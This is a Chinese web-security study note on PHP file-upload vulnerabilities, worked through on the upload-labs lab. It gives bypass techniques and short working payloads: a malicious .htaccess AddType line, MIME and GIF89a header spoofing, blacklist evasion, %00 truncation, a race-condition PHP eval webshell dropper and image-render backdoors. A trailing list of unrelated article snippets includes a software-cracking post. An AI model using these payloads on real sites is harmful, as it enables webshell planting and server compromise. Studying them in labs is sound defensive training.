web安全学习笔记【22】——文件上传(1)

WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过

演示案例:

  • PHP-原生态-文件上传-前后端验证
  • PHP-原生态-文件上传-类型文件头验证
  • PHP-原生态-文件上传-后缀黑白名单验证
  • PHP-原生态-文件上传-解析配置&二次渲染
  • PHP-原生态-文件上传-逻辑缺陷&函数缺陷

#知识点:

1、ASP-SQL注入-Access数据库

2、ASP-默认安装-数据库泄漏下载

3、ASP-IIS-CVE&短文件&解析&写入

---------------------------------------

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

---------------------------------------

1、PHP-MYSQL-SQL注入-数据请求类型

2、PHP-MYSQL-SQL注入-数据请求方法

3、PHP-MYSQL-SQL注入-数据请求格式

---------------------------------------

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理

---------------------------------------

1、PHP-MYSQL-SQL注入-二次注入&利用条件

2、PHP-MYSQL-SQL注入-堆叠注入&利用条件

3、PHP-MYSQL-SQL注入-带外注入&利用条件

---------------------------------------

1、注入工具-SQLMAP-常规猜解&字典配置

2、注入工具-SQLMAP-权限操作&文件命令

3、注入工具-SQLMAP-Tamper&使用&开发

4、注入工具-SQLMAP-调试指纹&风险等级

---------------------------------------

1、PHP-原生态-文件上传-检测后缀&黑白名单

2、PHP-原生态-文件上传-检测信息&类型内容

3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷

4、PHP-原生态-文件上传-版本缺陷&配置缺陷

#章节点:

Web层面:Web2.0 & Web3.0

语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)

OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等

业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等

特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等

关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等

Web3.0:未待完续筹备中....

#学习前必读:

1、课前一定要明白:

文件解析安全问题上,格式解析是一对一的(不能jpg解析php)

换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

文件上传不只是网站中,一些app当中也有上传的操作,比如头像、文件。攻击者利用这个上传的功能,尝试上传后门,连接后门进行攻击。

2、文件上传安全

指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑(代码的服务器还是别的服务器,就会有权限不同的问题),不同的文件存储方案也会给攻击者带来不一样的挑战!

#测试环境安装参考:

https://github.com/ffffffff0x/f8x

https://github.com/fuzzdb-project/fuzzdb

https://github.com/sqlsec/upload-labs-docker

0、下载上述资源
1、docker安装

f8x -d 或 f8x -docker

2、进入项目文件夹

cd upload-labs-docker

3、一键部署运行

docker-compose up -d

#upload-labs-docker知识点:

1、前端JS

如何判断是否是前端验证呢?(最好最快的方式就是看源码)

1)右键查看源代码(查看是否有js的验证代码)

2)抓包验证(前端校验一般抓包工具抓不到数据包)

首先抓包监听,如果上传文件的时候还没有抓取到数据包,浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

抓包是抓数据出去的包,经过这个浏览器发送到对方服务器,服务器再回显过来,发送到对方服务器会先经过抓包工具,就是因为验证在浏览器产生。

因为直接上传php不行,所以就可以选择上传正常格式的图片让它通过前端校验,再抓包修改为php格式发送到服务器。

2、.htaccess

AddType application/x-httpd-php .png

.htaccess是一个修改解析配置的文件

借助这个配置让.png的命名文件当做类型AddType application/x-httpd-php执行 (php的类型)即当作php执行

1)哥斯拉生成木马,命名shell.png

2)上传抓包,修改文件名为 .htaccess 

      木马内容修改为AddType application/x-httpd-php .png 放包

3)重新上传shell.php  上传成功 复制图像地址哥斯拉连接即可

总结:中间件的一个配置文件重新写入、重新修改了解析规则,实现了图片把后门执行出来的结果。

3、MIME类型

Content-Type:image/png

这一关会根据上传的文件不同的后缀分配不同的文件类型

如下:

1)正常上传jpg格式的木马,让它通过校验

2)上传时候抓包,修改后缀为php

3)上传成功,复制图像地址哥斯拉连接

4、文件头判断

GIF89a

5、黑名单-过滤不严

无递归,pphphp

6、黑名单-过滤不严

系统大小写敏感属性

7、低版本GET-%00截断

自动解码一次

/var/www/html/upload/x.php%00

8、低版本POST-%00截断

手工解码一次

../upload/x.php%00 二次解码

9、黑名单-过滤不严

php3

10、逻辑不严-条件竞争

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

上传不断发包

请求不断发包

11、二次渲染

先搞个正常图片,上传导出渲染后的图片

对比保留部分,在保留部分添加后门代码

最后利用提示的文件包含执行图片后门代码

11、函数缺陷

move_uploaded_file 1.php/.

12、代码审计-数组绕过

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[0]"

http://2.php/

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[2]"

gif

涉及资源:

补充:涉及录像课件资源软件包资料等下载地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/530426.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JUC 线程及创建线程

最近想再系统地复习一遍并发&#xff0c;随便再把以前整理的笔记整理为博客。 概念 了解线程前先要了解一下进程&#xff0c;进程是程序的一次执行过程&#xff0c;是系统运行的基本单位&#xff0c;其可以拥有资源&#xff0c;一个进程在执行期间会执行一系列的命令。 什么…

华为OD机试真题-模拟数据序列化传输 -2024年OD统一考试(C卷)

题目描述: 模拟一套简化的 序列化只 传输方式,请实现下面的数据编码与解码过程 1、编码前数据格式为 [位置,类型,值],多个数据的时候用逗号分隔,位置仅支持数字,不考虑重复等场景;类型仅支持:Integer/String/Compose(Compose的数据类型表示该存储的数据也需要编码) 2.编码…

【攻防世界】Confusion1

php的标志是大象&#xff0c;Python的标志是蛇 。Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 ) 点进register.php 输入{{3*4}} 输入 {{config}} 也有回显&#xff0c;ssti 判断是否存在ssti注入&#xff1a; 1. {{8*8}} 2. {{config}} 过滤了关键字&#xff0…

二、显示图片、提取边缘特征并保存(C# + OpenCV)

实现功能&#xff1a; 1&#xff0c;打开照片&#xff0c;并显示 2&#xff0c;对选择的照片进行Canny边缘检测 3&#xff0c;保存边缘检测之后的结果 一、布局 打开在视图下打开工具箱 选择一个PictureBox&#xff0c;仨Button 对Button改个名字 仨Button&#xff0c;分别…

Python从0到100(十二):函数的定义及模块

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

AI大模型探索之路-应用篇2:Langchain框架ModelIO模块—数据交互的秘密武器

目录 前言 一、概述​​​​​​​ 二、Model 三、Prompt 五、Output Parsers 总结 前言 随着人工智能技术的不断进步&#xff0c;大模型的应用场景越来越广泛。LangChain框架作为一个创新的解决方案&#xff0c;专为处理大型语言模型的输入输出而设计。其中&#xff0c;…

设计模式(22):解释器模式

解释器 是一种不常用的设计模式用于描述如何构成一个简单的语言解释器&#xff0c;主要用于使用面向对象语言开发的解释器和解释器设计当我们需要开发一种新的语言时&#xff0c;可以考虑使用解释器模式尽量不要使用解释器模式&#xff0c;后期维护会有很大麻烦。在项目中&…

【Redis】持久化

文章目录 一、RDB1.1、RDB的自动备份与手动备份1.1.1、自动备份1.1.2、手动备份 1.2、RDB优点1.3、RDB缺点1.4、RDB快照1.5、RDB优化配置项 二、AOF2.1、AOF工作流程2.2、AOF写回策略2.3、MP-AOF实现2.4、AOF优缺点2.5、AOF重写机制 三、RDBAOF混合持久化3.1、数据恢复顺序和加…

阿里云OSS使用流程

准备工作 无论怎么样&#xff0c;你需要准备一个阿里云账号&#xff0c;点击&#xff1a;注册阿里云 输入相关信息&#xff0c;然后注册成功以后&#xff0c;点击 然后注册成功了&#xff0c;实名一下阿里云账号。打开实名入口&#xff0c;选择个人实名或者企业实名。 如果你…

windows wireshark抓包rtmp推流出现TCP Retransmission

解决办法&#xff1a;tcp.port1935 && !(tcp.analysis.retransmission)

签名失败当前系统没有安装苹果根证书

发生背景 第一次我没有iOS证书(.p12)和描述文件(.mobileprovision)。按照这个文档https://ask.dcloud.net.cn/article/152拿到后&#xff0c;安心打包出问题。 错误信息 [Info] begin getCertCName... [Info] begin codesignFramwork to ipa... [Error] DCUniBase.framework…

设计模式系列:单例模式

作者持续关注WPS二次开发专题系列&#xff0c;持续为大家带来更多有价值的WPS开发技术细节&#xff0c;如果能够帮助到您&#xff0c;请帮忙来个一键三连&#xff0c;更多问题请联系我&#xff08;WPS二次开发QQ群:250325397&#xff09;&#xff0c;摸鱼吹牛嗨起来&#xff01…

RabbitMQ如何保证消息的幂等性???

在RabbitMQ中&#xff0c;保证消费者的幂等性主要依赖于业务设计和实现&#xff0c;而非RabbitMQ本身提供的一种直接功能。 在基于Spring Boot整合RabbitMQ的场景下&#xff0c;要保证消费者的幂等性&#xff0c;通常需要结合业务逻辑设计以及额外的技术手段来实现。以下是一个…

嵌入式学习51-单片机4

知识零碎&#xff1a; nop空指令 CRC校验 为了保证51单片与温度传感18b20 之间的高电平 采用一个上拉电阻改变电平的高低 温度寄存器原理

react17+antd4 动态渲染导航菜单中的icon

在路由信息对照表中的icon可以有两种形式&#xff1a;一种是组件形式&#xff0c;一种是字符串形式的。 在antd4的Menu.Item和SubMenu中的icon属性的格式为&#xff1a; 1.组件形式 这种方法在渲染时很方便&#xff0c;与antd中的Menu.Item中的icon属性的形式是一致的&#…

51单片机+TN901非接触式红外测温设计论文与源码PCB等资料

1、摘要 温度测量技术应用十分广泛&#xff0c;而且在现代设备故障检测领域中也是一项非常重要的技术。但在某些应用领域中&#xff0c;要求测量温度用的传感器不能与被测物体相接触&#xff0c;这就需要一种非接触的测温方式来满足上述测温需求。本论文正是应上述实际需求而设…

如何让MacOS「终端」走代理

在 MacOS 操作系统中&#xff0c;默认情况下&#xff0c;终端命令行不会通过代理进行网络连接。这导致在应用软件研发过程中&#xff0c;许多需要通过命令行下载安装的软件或依赖包无法成功安装。经常出现Failed to connect to xxx port 443 after 75329 ms: Couldnt connect t…

【资源分享】MAC上最好用的截图软件-Snipaste

::: block-1 “时问桫椤“是一个关注本科生到研究生教育阶段的不严肃的公众号&#xff0c;希望能在大家迷茫、难受、困难之时帮助到大家。用广大研究生的经验总结&#xff0c;让大家能尽早的适应研究生生活&#xff0c;尽快的看透科研本质。祝好&#xff01;&#xff01;&#…

OLAP在线实时 数据分析平台

随着业务的增长&#xff0c;精细化运营的提出&#xff0c;产品对数据部门提出了更高的要求&#xff0c;包括需要对实时数据进行查询分析&#xff0c;快速调整运营策略&#xff1b;对小部分人群做 AB 实验&#xff0c;验证新功能的有效性&#xff1b;减少数据查询时间&#xff0…

IntelliJ IDEA 2024.1安装与激活[破解]

一&#xff1a;IDEA官方下载 ①如题&#xff0c;先到IDEA官方下载&#xff0c;简简单单 ②IDEA官方&#xff1a;IntelliJ IDEA – the Leading Java and Kotlin IDE 二&#xff1a;获取脚本 &#x1f31f;网盘下载&#xff1a;jetbra (密码&#xff1a;lzh7) &#x1f31f;获取…